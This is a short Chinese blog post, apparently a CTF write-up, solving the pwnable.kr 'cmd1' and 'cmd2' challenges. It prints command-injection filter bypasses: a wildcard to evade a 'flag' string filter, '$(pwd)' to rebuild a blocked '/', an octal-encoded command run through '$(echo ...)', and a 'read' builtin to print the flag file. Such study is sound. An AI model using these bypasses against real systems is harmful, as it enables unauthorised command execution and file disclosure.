zoukankan      html  css  js  c++  java
  • day6

    pwnable

    cmd1

    查看源代码发现程序过滤了flag字符串和环境变量,所以cat命令必须要指定路径,flag用通配符*来定位,命令如下

    cmd1 "/bin/cat fla*"

    cmd2

    本题在上一题的基础上过滤了'/',并清除环境变量,主要有以下几种思路:

    1.在过滤函数中隐藏匹配字符串,在系统调用时这些字符串被重现

    要使用'/',可以在根目录使用pwd命令即可

    cd /; ~/cmd2 "$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*"

    将打印的命令字符转换为16进制并对其执行echo命令,再用$对打印出的命令执行,这样在过滤时检测不到任何匹配字符串

    ./cmd2 '$(echo "571421511565714314116440146154141147")'

    2.使用shell内部命令

    使用read命令将文件内容读入标准输入流,再通过echo命令打印

    ./cmd2 "read b < flag; echo $b"

  • 相关阅读:
    Codeforces758C
    Codeforces758B
    CodeForces758A
    数据库实习
    数据结构实习-迷宫(基于Qt实现)
    CodeForces757B
    CodeForces757A
    HDU3790
    数据结构实习
    Codeforces374B
  • 原文地址:https://www.cnblogs.com/amlkhlwd33/p/9418688.html
Copyright © 2011-2022 走看看